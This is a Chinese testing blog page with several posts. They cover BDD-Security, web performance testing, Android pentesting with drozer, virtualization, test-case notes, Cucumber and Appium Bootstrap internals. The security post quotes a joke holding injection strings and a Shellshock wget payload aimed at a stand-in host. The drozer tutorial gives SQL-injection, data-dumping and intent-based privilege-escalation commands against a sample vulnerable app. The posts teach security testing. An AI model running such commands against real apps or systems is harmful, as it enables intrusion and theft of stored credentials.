qileilove

blog已經轉移至github,大家請訪問 http://qaseven.github.io/

2015年3月18日

在開發流程中嵌入安全測試

 ContinuumSecurity創始人Stephen de Vries,在Velocity Europe 2014大會上提出了持續且可視化的安全測試的觀點。Stephen表示,那些在敏捷開發過程中用于將QA嵌入整個開發流程的方法和工具都能同樣的用于安全測試。BDD-Security是一個基于JBehave,且遵循Given-When-Then方法的安全測試框架。
  傳統的安全測試都遵循瀑布流程,也就是說安全團隊總是在開發階段的末期才參與進來,并且通常需要外部專家的幫助。在整個開發流程中,滲透測試總是被安排到很晚才做,使得為應用做安全防范的任務尤其困難且復雜。Stephen認為安全測試完全可以變得像QA一樣:每個人都對安全問題負責;安全問題可以在更接近代碼的層面考慮;安全測試完全可以嵌入一個持續集成的開發過程中。
  為了論證QA和安全測試只有量的區別而沒有質的區別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發布的推特:
  從QA的角度:
  QA工程師走進一家酒吧,點了一杯啤酒;點了0杯啤酒;點了999999999杯啤酒;點了一只蜥蜴;點了-1杯啤酒;點了一個sfdeljknesv。
  從安全的角度:
  滲透測試工程師走進一家酒吧,點了一杯啤酒;點了”>杯啤酒;點了’or 1=1-杯啤酒;點了() { :; }; wget -O /beers http://evil; /杯啤酒。  要將安全測試集成進敏捷開發流程中,首先需要滿足的條件是:可見性,以便采取及時應對措施并修補;可測試性,以便于自動化,比僅僅簡單的掃描更有價值。Stephen發現BDD工具族就同時滿足了可見性及可測試性,因此他開始著手構建BDD-Security安全測試框架。
  由于BDD-Security是基于JBehave構建的,因此它使用BDD的標準說明語言Gherkin。一個BDD-Security測試場景如下:
  Scenario: Transmit authentication credentials over HTTPS
  Meta: @id auth_https
  Given the browser is configured to use an intercepting proxy
  And the proxy logs are cleared
  And the default user logs in with credentials from: users.table
  And the HTTP request-response containing the default credentials is inspected
  Then the protocol should be HTTPS
  BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著:
  本框架的架構設計使得安全用例故事與應用的特定導航邏輯相互獨立,這意味著同一個用戶故事僅需要做微小的改動就能用在多個應用中,有時甚至無需修改。
  這也說明BDD-Security框架認為對許多應用來說,有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應用——也就是導航邏輯中即可。當然,必要的時候你也完全可以編寫自己的用戶故事。
  BDD-Security依賴于第三方安全測試工具來執行具體的安全相關的行為,例如應用掃描。這些工具有OWASP ZAP或Nessus等。
  Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語言是Ruby。Mittn用Python編寫并且同樣也使用Gherkin。

posted @ 2015-03-18 22:10 順其自然EVO 閱讀(2901) | 評論 (0)編輯 收藏

如何進行Web服務的性能測試?

  隨著瀏覽器功能的不斷完善,用戶量不斷的攀升,涉及到web服務的功能在不斷的增加,對于我們測試來說,我們不僅要保證服務端功能的正確性,也要驗證服務端程序的性能是否符合要求。那么性能測試都要做些什么呢?我們該怎樣進行性能測試呢?
  性能測試一般會圍繞以下這些問題而進行:
  1. 什么情況下需要做性能測試?
  2. 什么時候做性能測試?
  3. 做性能測試需要準備哪些內容?
  4. 什么樣的性能指標是符合要求的?
  5. 性能測試需要收集的數據有哪些?
  6. 怎樣收集這些數據?
  7. 如何分析收集到的數據?
  8. 如何給出性能測試報告?
  性能測試的執行過程及要做的事兒主要包含以下內容:
  1. 測試評估階段
  在這個階段,我們要評估被測的產品是否要進行性能測試,并且對目前的服務器環境進行粗估,服務的性能是否滿足條件。
  首先要明確只要涉及到準備上線的服務端產品,就需要進行性能測試。其次如果產品需求中明確提到了性能指標,那也必須要做性能測試。
  測試人員在進行性能測試前,需要根據當前的收集到的各種信息,預先做性能的評估,收集的內容主要包括帶寬、請求包大小、并發用戶數和當前web服務的帶寬等
  2. 測試準備階段
  在這個階段,我們要了解以下內容:
  a. 服務器的架構是什么樣的,例如:web服務器是什么?是如何配置的?數據庫用的是什么?服務用的是什么語言編寫的?;
  b. 服務端功能的內部邏輯實現;
  c. 服務端與數據庫是如何交互的,例如:數據庫的表結構是什么樣的?服務端功能是怎樣操作數據庫的?
  d. 服務端與客戶端之間是如何進行交互的,即接口定義;
  通過收集以上信息,測試人員整理出服務器端各模塊之間的交互圖,客戶端與服務端之間的交互圖以及服務端內部功能邏輯實現的流程圖。
  e. 該服務上線后的用戶量預估是多少,如果無法評估出用戶量,那么可以通過設計測試執行的場景得出這個值;
  f. 上線要部署到多少臺機器上,每臺機器的負載均衡是如何設計的,每臺機器的配置什么樣的,網絡環境是什么樣的。
  g. 了解測試環境與線上環境的不同,例如網絡環境、硬件配置等
  h. 制定測試執行的策略,是需要驗證需求中的指標能否達到,還是評估系統的最大處理能力。
  i. 溝通上線的指標
  通過收集以上信息,確定性能測試用例該如何設計,如何設計性能測試用例執行的場景,以及上線指標的評估。
  3. 測試設計階段
  根據測試人員通過之前整理的交互圖和流程圖,設計相應的性能測試用例。性能測試用例主要分為預期目標用戶測試,用戶并發測試,疲勞強度與大數量測試,網絡性能測試,服務器性能測試,具體編寫的測試用例要更具實際情況進行裁減。
  用例編寫的步驟大致分為:
  a. 通過腳本模擬單一用戶是如何使用這個web服務的。這里模擬的可以是用戶使用web服務的某一個動作或某幾個動作,某一個功能或幾個功能,也可以是使用web服務的整個過程。
  b. 根據客戶端的實際情況和服務器端的策略,通過將腳本中可變的數據進行參數化,來模擬多個用戶的操作。
  c. 驗證參數化后腳本功能的正確性。
  d. 添加檢查點
  e. 設計腳本執行的策略,如每個功能的執行次數,各個功能的執行順序等
  4. 測試執行階段
  根據客戶端的產品行為設計web服務的測試執行場景及測試執行的過程,即測試執行期間發生的事兒。通過監控程序收集web服務的性能數據和web服務所在系統的性能數據。
  在測試執行過程中,還要不斷的關注以下內容:
  a. web服務的連接速度如何?
  b. 每秒的點擊數如何?
  c. Web服務能允許多少個用戶同時在線?
  d. 如果超過了這個數量,會出現什么現象?
  e. Web服務能否處理大量用戶對同一個頁面的請求?
  f. 如果web服務崩潰,是否會自動恢復?
  g. 系統能否同一時間響應大量用戶的請求?
  h. 打壓機的系統負載狀態。
  5. 測試分析階段
  將收集到的數據制成圖表,查看各指標的性能變化曲線,結合之前確定的上線指標,對各項數據進行分析,已確定是否繼續對web服務進行測試,結果是否達到了期望值。
  6. 測試驗證階段
  在開發針對發現的性能問題進行修復后,要再執行性能測試的用例對問題進行驗證。這里需要關注的是開發在解決問題的同時可能無意中修改了某些功能,所以在驗證性能的同時,也要關注原有功能是否受到了影響

posted @ 2015-03-18 22:08 順其自然EVO 閱讀(2689) | 評論 (1)編輯 收藏

利用drozer進行Android滲透測試

 一、安裝與啟動
  1. 安裝
  第一步:從http://mwr.to/drozer下載Drozer (Windows Installer)
  第二步:在Android設備中安裝agent.apk
  adb install agent.apk
  2. 啟動
  第一步:在PC上使用adb進行端口轉發,轉發到Drozer使用的端口31415
  adb forward tcp:31415 tcp:31415
  第二步:在Android設備上開啟Drozer Agent
  選擇embedded server-enable
  第三步:在PC上開啟Drozer console
  drozer console connect
  二、測試步驟
  1.獲取包名
  dz> run app.package.list -f sieve
  com.mwr.example.sieve
  2.獲取應用的基本信息
  run app.package.info -a com.mwr.example.sieve
  3.確定攻擊面
  run app.package.attacksurface com.mwr.example.sieve
  4.Activity
  (1)獲取activity信息
  run app.activity.info -a com.mwr.example.sieve
  (2)啟動activity
  run app.activity.start --component com.mwr.example.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  [--mimetype MIMETYPE]
  5.Content Provider
  (1)獲取Content Provider信息
  run app.provider.info -a com.mwr.example.sieve
  (2)Content Providers(數據泄露)
  先獲取所有可以訪問的Uri:
  run scanner.provider.finduris -a com.mwr.example.sieve
  獲取各個Uri的數據:
  run app.provider.query
  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
  查詢到數據說明存在漏洞
  (3)Content Providers(SQL注入)
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
  報錯則說明存在SQL注入。
  列出所有表:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  獲取某個表(如Key)中的數據:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  (4)同時檢測SQL注入和目錄遍歷
  run scanner.provider.injection -a com.mwr.example.sieve
  run scanner.provider.traversal -a com.mwr.example.sieve
  6 intent組件觸發(拒絕服務、權限提升)
  利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。
  1.查看暴露的廣播組件信息:
  run app.broadcast.info -a com.package.name  獲取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):
  run app.broadcast.send 通過intent發送broadcast receiver
  (1)   空action
  run app.broadcast.send --component 包名 ReceiverName
  run app.broadcast.send --component 包名 ReceiverName
  (2)   空extras
  run app.broadcast.send --action android.intent.action.XXX
  3.嘗試權限提升
  權限提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關,所以基 于intent的權限提升更多針對broadcast receiver和service。與drozer相關的權限提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,采用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令:
  (1)獲取service詳情
  run app.service.info -a com.mwr.example.sieve
  不使用drozer啟動service
  am startservice –n 包名/service名
  (2)權限提升
  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
  7.文件操作
  列出指定文件路徑里全局可寫/可讀的文件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  8.其它模塊
  shell.start 在設備上開啟一個交互shell
  tools.file.upload / tools.file.download 上傳/下載文件到設備
  tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件

posted @ 2015-03-18 22:06 順其自然EVO 閱讀(5004) | 評論 (0)編輯 收藏

在服務器虛擬化架構中有哪些技術功能和益處

關于服務器虛擬化的概念,業界有不同的定義,但其核心是一致的,即它是一種方法,能夠在整合多個應用服務的同時,通過區分應用服務的優先次序將服務器資源分配給最需要它們的工作負載來簡化管理和提高效率。其主要功能包括以下四個方面:
  集成整合功能。虛擬化服務器主要是由物理服務器和虛擬化程序構成的,通過把一臺物理服務器劃分為多個虛擬機,或者把若干個分散的物理服務器虛擬為一個整體邏輯服務器,從而將多個操作系統和應用服務整合到強大的虛擬化架構上。
  動態遷移功能。這里所說的動態遷移主要是指V2V(虛擬機到虛擬機的遷移)技術。具體來講,當某一個服務器因故障停機時,其承載的虛擬機可以自動切換到另一臺虛擬服務器,而在整個過程中應用服務不會中斷,實現系統零宕機在線遷移。
  資源分配功能。虛擬化架構技術中引入了動態資源調度技術,系統將所有虛擬服務器作為一個整體資源統一進行管理,并按實際需求自動進行動態資源調配,在保證系統穩定運行的前提下,實現資源利用最大化。
  強大的管理控制界面。通過可視化界面實時監控物理服務器以及各虛擬機的運行情況,實現對全部虛擬資源的管理、維護及部署等操作。
  服務器虛擬化的益處
  采用服務器虛擬化技術的益處主要表現在以下幾個方面。
  節省采購費用。通過虛擬化技術對應用服務器進行整合,可以大幅縮減企業在采購環節的開支,在硬件環節可以為企業節省34%~80%的采購成本。
  同時,還可以節省軟件采購費用。軟件許可成本是企業不可忽視的重要支出。而隨著微軟、紅帽等軟件巨頭的加入,虛擬化架構技術在軟件成本上的優勢也逐漸得以體現。
  降低系統運行維護成本。由于虛擬化在整合服務器的同時采用了更為出色的管理工具,減少了管理維護人員在網絡、線路、軟硬件維護方面的工作量,信息部門得以從傳統的維護管理工作中解放出來,將更多的時間和精力用于推動創新工作和業務增長等活動,這也為企業帶來了利益。
  通過虛擬化技術可以減少物理服務器的數量,這就意味著企業機房耗電量、散熱量的降低,同時還為企業節省了空調、機房配套設備的改造升級費用。
  提高資源利用率。保障業務系統的快速部署是信息化工作的一項重要指標,而傳統模式中服務器的采購安裝周期較長,一定程度上限制了系統部署效率。利用虛擬化技術,可以快速搭建虛擬系統平臺,大幅縮減部署籌備時間,提高工作效率。
  由于虛擬化服務器具有動態資源分配功能,因此當一臺虛擬機的應用負載趨于飽和時,系統會根據之前定義的分配規則自動進行資源調配。根據大部分虛擬化技術廠商提供的數據指標來看,通過虛擬化整合服務器后,資源平均利用率可以從5%~15%提高到60%~80%。
  提高系統的安全性。傳統服務器硬件維護通常需要數天的籌備期和數小時的維護窗口期。而在虛擬化架構技術環境下,服務器遷移只需要幾秒鐘的時間。由于遷移過程中服務沒有中斷,管理員無須申請系統停機,在降低管理維護工作量的同時,提高系統運行連續性。
  目前虛擬化主流技術廠商均在其虛擬化平臺中引入數據快照以及虛擬存儲等安全機制,因此在數據安全等級和系統容災能力方面,較原有單機運行模式有了較大提高。

目前 我司正在應用aws 確實很不錯,節省成本 服務穩定,比什么阿里云 強了不知道多少倍

posted @ 2015-03-18 22:03 順其自然EVO 閱讀(1532) | 評論 (1)編輯 收藏

閱讀《測試用例指南》筆記

1.測試用例 :分有基本流和備選流。
  2.要先確定測試用例描述,再在測試用例 實施矩陣中確定相應的測試用例數據。
  3.從補充規約中生成測試用例
  (1)為性能測試生成測試用例
  (2)為安全性/訪問控制測試生成測試用例
  關鍵:先指定執行用例的主角
  (3)為配置測試生成測試用例
  主要是為了核實測試目標在不同的配置情況下(如不同的OS,Browser,CPU速度等)是否能正常 地 工作或執行。
  針對第個關鍵配置,每個可能有問題的配置都至少應該有一個測試用例。
  (4)為安裝測試生成測試用例
  a.需要對以下各種安裝情況設計測試用例:
  分發介質(如磁盤,CD-ROM和文件服務器)
  首次安裝
  完全安裝
  自定義安裝
  升級安裝
  b.測試目標應包括所有構件的安裝
  客戶機,中間層,服務器
  (5)為其他非功能性測試生成測試用例
  如操作測試,對性能瓶頸,系統容量或測試目標的強度承受能力進行調查的測試用例
  4.在白盒測試黑盒測試的同時都應該進行可靠性測試。
  5.為產品驗收測試生成測試用例
  6.為回歸測試編制測試用例
  a.回歸測試是比較同一測試目標的兩個版本或版本,并將將差異確定為潛在的缺陷。
  b.為使測試用例發揮回歸測試和復用的價值,同時將維護成本減至最低,應:
  確保測試用例只確定關鍵的數據元素(創建/支持被測試的條件支持的測上試用例)
  確保每個測試用例都說明或代表一個唯一的輸入集或事件序列,其結果是獨特的測試目標行為
  消除多余或等效的測試用例
  將具有相同的測試目標初始狀態和測試數據狀態的測試用例組合在一起

posted @ 2015-03-18 22:00 順其自然EVO 閱讀(1518) | 評論 (0)編輯 收藏

2014年12月28日

行為驅動開發: Cucumber的目錄結構和執行過程

行為驅動開發: Cucumber的目錄結構和執行過程

      Cucumber是Ruby世界的BDD框架,開發人員主要與兩類文件打交到,Feature文件和相應的Step文件。Feature文件是以feature為后綴名的文件,以Given-When-Then的方式描述了系統的場景(scenarios)行為;Step文件為普通的Ruby文件,Feature文件中的每個Given/When/Then步驟在Step文件中都有對應的Ruby執行代碼,兩類文件通過正則表達式相關聯。筆者在用Cucumber+Watir做回歸測試時對Cucumber工程的目錄結構執行過程進行了研究。

安裝好Cucumber后,如果在終端直接執行cucumber命令,得到以下輸出:

輸出結果表明:cucumber期待當前目錄下存在名為features的子目錄。建好features文件夾后,重新執行cucumber命令,輸出如下:

Cucumber運行成功,但由于features文件夾下沒有任何內容,故得到上述輸出結果。

網上大多數關于Cucumber的教程都建議采用以下目錄結構,所有的文件(夾)都位于features文件夾下。

Feature文件(如test.feature)直接位于features文件夾下,可以為每個應用場景創建一個Feature文件;與Feature文件對應的Step文件(如test.rb)位于step_definitions子文件夾下;同時,存在support子文件夾,其下的env.rb文件為環境配置文件。在這樣的目錄結構條件下執行cucumber命令,會首先執行env.rb做前期準備工作,比如可以用Watir新建瀏覽器窗口,然后Cucumber將test.rb文件讀入內存,最后執行test.feature文件,當遇到Given/When/Then步驟時,Cucumber將在test.rb中搜索是否有相應的step,如果有,則執行相應的Ruby代碼。

這樣的目錄結構只是推薦的目錄結構,筆者通過反復的試驗得出了以下結論:對于Cucumber而言,除了頂層的features文件夾是強制性的之外,其它目錄結構都不是強制性的,Cucumber將對features文件夾下的所有內容進行扁平化(flatten)處理和首字母排序。具體來說,Cucumber在運行時,首先將遞歸的執行features文件夾下的所有Ruby文件(其中則包括Step文件),然后通過相同的方式執行Feature文件。但是,如果features文件夾下存在support子文件夾,并且support下有名為env.rb的文件,Cucumber將首先執行該文件,然后執行support下的其它文件,再遞歸執行featues下的其它文件。

比如有如下Cucumber目錄結構:

為了方便記錄Cucumber運行時的文件執行順序,在features文件夾下的所有Ruby文件中加上以下代碼:

puts File.basename(__FILE__)

此行代碼的作用是在一個Ruby文件執行時輸出該文件的名字,此時執行cucumber命令,得到以下輸出(部分)結果:

上圖即為Ruby文件的執行順序,可以看出,support文件夾下env.rb文件首先被執行,其次按照字母排序執行c.rb和d.rb;接下來,Cucumber將features文件夾下的所用文件(夾)扁平化,并按字母順序排序,從而先執行a.rb和b.rb,而由于other文件夾排在step_definitions文件夾的前面,所以先執行other文件夾下的Ruby文件(也是按字母順序執行:先f.rb,然后g.rb),最后執行step_definitions下的e.rb。

當執行完所有Ruby文件后,Cucumber開始依次讀取Feature文件,執行順序也和前述一樣,即: a.feature --> b.feature --> c.feature

筆者還發現,這些Ruby文件甚至可以位于features文件夾之外的任何地方,只是需要在位于features文件夾之內的Ruby文件中require一下,比如在env.rb中。

posted @ 2014-12-28 01:29 順其自然EVO 閱讀(2174) | 評論 (0)編輯 收藏

2014年12月23日

Appium Android Bootstrap之控件AndroidElement

AndroidElementHash的這個getElement命令要做的事情就是針對這兩點來根據不同情況獲得目標控件
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
  如果是第1種情況就直接通過選擇子構建UiObject對象,然后通過addElement把UiObject對象轉換成AndroidElement對象保存到控件哈希表
  如果是第2種情況就先根據appium傳過來的控件哈希表鍵值獲得父控件,再通過子控件的選擇子在父控件的基礎上查找到目標UiObject控件,最后跟上面一樣把該控件通過上面的addElement把UiObject控件轉換成AndroidElement控件對象保存到控件哈希表
  4. 求證
  上面有提過,如果pc端的腳本執行對同一個控件的兩次findElement會創建兩個不同id的AndroidElement并存放到控件哈希表中,那么為什么appium的團隊沒有做一個增強,增加一個keyMap的方法(算法)和一些額外的信息來讓同一個控件使用不同的key的時候對應的還是同一個AndroidElement控件呢?畢竟這才是哈希表實用的特性之一了,不然你直接用一個Dictionary不就完事了?網上說了幾點hashtable和dictionary的差別,如多線程環境最好使用哈希表而非字典等,但在bootstrap這個控件哈希表的情況下我不是很信服這些說法,有誰清楚的還勞煩指點一二了
  這里至于為什么appium不去提供額外的key信息并且實現keyMap算法,我個人倒是認為有如下原因:
  有誰這么無聊在同一個測試方法中對同一個控件查找兩次?
  如果同一個控件運用不同的選擇子查找兩次的話,因為最終底層的UiObject的成員變量UiSelector mSelector不一樣,所以確實可以認為是不同的控件
  但以下兩個如果用同樣的UiSelector選擇子來查找控件的情況我就解析不了了,畢竟在我看來bootstrap這邊應該把它們看成是同一個對象的:
  同一個腳本不同的方法中分別對同一控件用同樣的UiSelelctor選擇子進行查找呢?
  不同腳本中呢?
  這些也許在今后深入了解中得到解決,但看家如果知道的,還望不吝賜教
  5. 小結
  最后我們對bootstrap的控件相關知識點做一個總結
  AndroidElement的一個實例代表了一個bootstrap的控件
  AndroidElement控件的成員變量UiObject el代表了uiautomator框架中的一個真實窗口控件,通過它就可以直接透過uiautomator框架對控件進行實質性操作
  pc端的WebElement元素和Bootstrap的AndroidElement控件是通過AndroidElement控件的String id進行映射關聯的
  AndroidElementHash類維護了一個以AndroidElement的id為鍵值,以AndroidElement的實例為value的全局唯一哈希表,pc端想要獲得一個控件的時候會先從這個哈希表查找,如果沒有了再創建新的AndroidElement控件并加入到該哈希表中,所以該哈希表中維護的是一個當前已經使用過的控件
相關文章:
Appium Android Bootstrap源碼分析之簡介
 通過上一篇文章Appium Android Bootstrap源碼分析之簡介》我們對bootstrap的定義以及其在appium和uiautomator處于一個什么樣的位置有了一個初步的了解,那么按照正常的寫書的思路,下一個章節應該就要去看bootstrap是如何建立socket來獲取數據然后怎樣進行處理的了。但本人覺得這樣子做并不會太好,因為到時整篇文章會變得非常的冗長,因為你在編寫的過程中碰到不認識的類又要跳入進去進行說明分析。這里我覺得應該嘗試吸取著名的《重構》這本書的建議:一個方法的代碼不要寫得太長,不然可讀性會很差,盡量把其分解成不同的函數。那我們這里就是用類似的思想,不要嘗試在一個文章中把所有的事情都做完,而是嘗試先把關鍵的類給描述清楚,最后才去把這些類通過一個實例分析給串起來呈現給讀者,這樣大家就不會因為一個文章太長影響可讀性而放棄往下學習了。
  那么我們這里為什么先說bootstrap對控件的處理,而非剛才提到的socket相關的socket服務器的建立呢?我是這樣子看待的,大家看到本人這篇文章的時候,很有可能之前已經了解過本人針對uiautomator源碼分析那個系列的文章了,或者已經有uiautomator的相關知識,所以腦袋里會比較迫切的想知道究竟appium是怎么運用了uiautomator的,那么在appium中于這個問題最貼切的就是appium在服務器端是怎么使用了uiautomator的控件的。
  這里我們主要會分析兩個類:
  AndroidElement:代表了bootstrap持有的一個ui界面的控件的類,它擁有一個UiObject成員對象和一個代表其在下面的哈希表的鍵值的String類型成員變量id
  AndroidElementsHash:持有了一個包含所有bootstrap(也就是appium)曾經見到過的(也就是腳本代碼中findElement方法找到過的)控件的哈希表,它的key就是AndroidElement中的id,每當appium通過findElement找到一個新控件這個id就會+1,Appium的pc端和bootstrap端都會持有這個控件的id鍵值,當需要調用一個控件的方法時就需要把代表這個控件的id鍵值傳過來讓bootstrap可以從這個哈希表找到對應的控件
  1. AndroidElement和UiObject的組合關系
  從上面的描述我們可以知道,AndroidElement這個類里面擁有一個UiObject這個變量:
  public class AndroidElement {
  private final UiObject el;
  private String         id;
  ...
  }
  大家都知道UiObject其實就是UiAutomator里面代表一個控件的類,通過它就能夠對控件進行操作(當然最終還是通過UiAutomation框架). AnroidElement就是通過它來跟UiAutomator發生關系的。我們可以看到下面的AndroidElement的點擊click方法其實就是很干脆的調用了UiObject的click方法:
  public boolean click() throws UiObjectNotFoundException {
  return el.click();
  }
  當然這里除了click還有很多控件相關的操作,比如dragTo,getText,longClick等,但無一例外,都是通過UiObject來實現的,這里就不一一列舉了。
  2. 腳本的WebElement和Bootstrap的AndroidElement的映射關系
  我們在腳本上對控件的認識就是一個WebElement:
  WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  而在Bootstrap中一個對象就是一個AndroidElement. 那么它們是怎么映射到一起的呢?我們其實可以先看如下的代碼:
  WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  addNote.getText();
  addNote.click();
  做的事情就是獲得Notes這個app的菜單,然后調用控件的getText來獲得‘Add note'控件的文本信息,以及通過控件的click方法來點擊該控件。那么我們看下調試信息是怎樣的:

pc端傳過來的json字串有幾個fields:
  cmd:代表這個是什么命令類型,其實就是AndroidCommandType的那兩個值
  package io.appium.android.bootstrap;
  /**
  * Enumeration for all the command types.
  *
  */
  public enum AndroidCommandType {
  ACTION, SHUTDOWN
  }
  action: 具體命令
  params: 提供的參數,這里提供了一個elementId的鍵值對
  從上面的兩條調試信息看來,其實沒有明顯的看到究竟使用的是哪個控件。其實這里不起眼的elementId就是確定用的是哪個控件的,注意這個elementId并不是一個控件在界面上的資源id,它其實是Bootstrap維護的一個保存所有已經獲取過的控件的哈希表的鍵值。如上一小節看到的,每一個AndroidElement都有兩個重要的成員變量:
  UiObject el :uiautomator框架中代表了一個真實的窗口控件
  Sting id :  一個唯一的自動增加的字串類型整數,pc端就是通過它來在AndroidElementHash這個類中找到想要的控件的
  3. AndroidElement控件哈希表
  上一節我們說到appium pc端是通過id把WebElement和目標機器端的AndroidElement映射起來的,那么我們這一節就來看下維護AndroidElement的這個哈希表是怎么實現的。
  首先,它擁有兩個成員變量:
  private final Hashtable<String, AndroidElement> elements;
  private       Integer                           counter;
  elements :一個以AndroidElement 的id的字串類型為key,以AndroidElement的實例為value的的哈希表
  counter : 一個整型變量,有兩個作用:其一是它代表了當前已經用到的控件的數目(其實也不完全是,你在腳本中對同一個控件調用兩次findElement其實會產生兩個不同id的AndroidElement控件),其二是它代表了一個新用到的控件的id,而這個id就是上面的elements哈希表的鍵
  這個哈希表的鍵值都是從0開始的,請看它的構造函數:
  /**
  * Constructor
  */
  public AndroidElementsHash() {
  counter = 0;
  elements = new Hashtable<String, AndroidElement>();
  }
  而它在整個Bootstrap中是有且只有一個實例的,且看它的單例模式實現:
  public static AndroidElementsHash getInstance() {
  if (AndroidElementsHash.instance == null) {
  AndroidElementsHash.instance = new AndroidElementsHash();
  }
  return AndroidElementsHash.instance;
  }
  以下增加一個控件的方法addElement充分描述了為什么說counter是一個自增加的key,且是每個新發現的AndroidElement控件的id:
  public AndroidElement addElement(final UiObject element) {
  counter++;
  final String key = counter.toString();
  final AndroidElement el = new AndroidElement(key, element);
  elements.put(key, el);
  return el;
  }
  從Appium發過來的控件查找命令大方向上分兩類:
  1. 直接基于Appium Driver來查找,這種情況下appium發過來的json命令是不包含控件哈希表的鍵值信息的
  WebElement addNote = driver.findElement(By.name("Add note"));
  2. 基于父控件查找:
  WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
  以上的腳本會先嘗試找到Note1這個日記的父控件ListView,并把這個控件保存到控件哈希表,然后再根據父控件的哈希表鍵值以及子控件的選擇子找到想要的Note1:

posted @ 2014-12-23 00:26 順其自然EVO 閱讀(2274) | 評論 (0)編輯 收藏

Appium Android Bootstrap源碼分析之命令解析執行

通過上一篇文章Appium Android Bootstrap源碼分析之控件AndroidElement》我們知道了Appium從pc端發送過來的命令如果是控件相關的話,最終目標控件在bootstrap中是以AndroidElement對象的方式呈現出來的,并且該控件對象會在AndroidElementHash維護的控件哈希表中保存起來。但是appium觸發一個命令除了需要提供是否與控件相關這個信息外,還需要其他的一些信息,比如,這個是什么命令?這個就是我們這篇文章需要討論的話題了。
  下面我們還是先看一下從pc端發過來的json的格式是怎么樣的:
  可以看到里面除了params指定的是哪一個控件之外,還指定了另外兩個信息:
  cmd: 這是一個action還是一個shutdown
  action:如果是一個action的話,那么是什么action
  開始前我們先簡要描述下我們需要涉及到幾個關鍵類:
1. Appium命令解析器AndroidCommand
  AndroidCommand這個類真實的作用其實就是去把Appium從pc端發送過來的那串json命令解析出來,它擁有兩個成員變量:
  JSONObject         json;
  AndroidCommandType cmdType;
  json就是pc過來的json格式的那串命令,cmdType就是action或者shutdown,其實就是用來把這個類偽裝成更像個命令類而已,我認為如果不提供這個成員變量而直接修改其getType的實現去解析json字串直接獲得對應的AndroidCommandType,然后把這個類的名字改成AndroidCommandParser得了。
  那么我們往下看下AndroidCommand究竟是怎么對客戶端命令進行解析的,它的方法都很短,所以我把它做成一個表,這樣比較清晰點:
  從表中的這些方法可以看出來,這個類所做的事情基本上都是怎么去解析appium從pc端過來的那串json字串。

  2. Action與CommandHandler的映射關系
  從上面描述可以知道,一個action就是一個代表該命令的字串,比如‘click’。但是一個字串是不能去執行的啊,所以我們需要有一種方式把它轉換成可以執行的代碼,這個就是AndroidCommandExecutor維護的一個靜態HashMap map所做的事情:
class AndroidCommandExecutor {
private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();
static {
map.put("waitForIdle", new WaitForIdle());
map.put("clear", new Clear());
map.put("orientation", new Orientation());
map.put("swipe", new Swipe());
map.put("flick", new Flick());
map.put("drag", new Drag());
map.put("pinch", new Pinch());
map.put("click", new Click());
map.put("touchLongClick", new TouchLongClick());
map.put("touchDown", new TouchDown());
map.put("touchUp", new TouchUp());
map.put("touchMove", new TouchMove());
map.put("getText", new GetText());
map.put("setText", new SetText());
map.put("getName", new GetName());
map.put("getAttribute", new GetAttribute());
map.put("getDeviceSize", new GetDeviceSize());
map.put("scrollTo", new ScrollTo());
map.put("find", new Find());
map.put("getLocation", new GetLocation());
map.put("getSize", new GetSize());
map.put("wake", new Wake());
map.put("pressBack", new PressBack());
map.put("pressKeyCode", new PressKeyCode());
map.put("longPressKeyCode", new LongPressKeyCode());
map.put("takeScreenshot", new TakeScreenshot());
map.put("updateStrings", new UpdateStrings());
map.put("getDataDir", new GetDataDir());
map.put("performMultiPointerGesture", new MultiPointerGesture());
map.put("openNotification", new OpenNotification());
map.put("source", new Source());
map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());
}
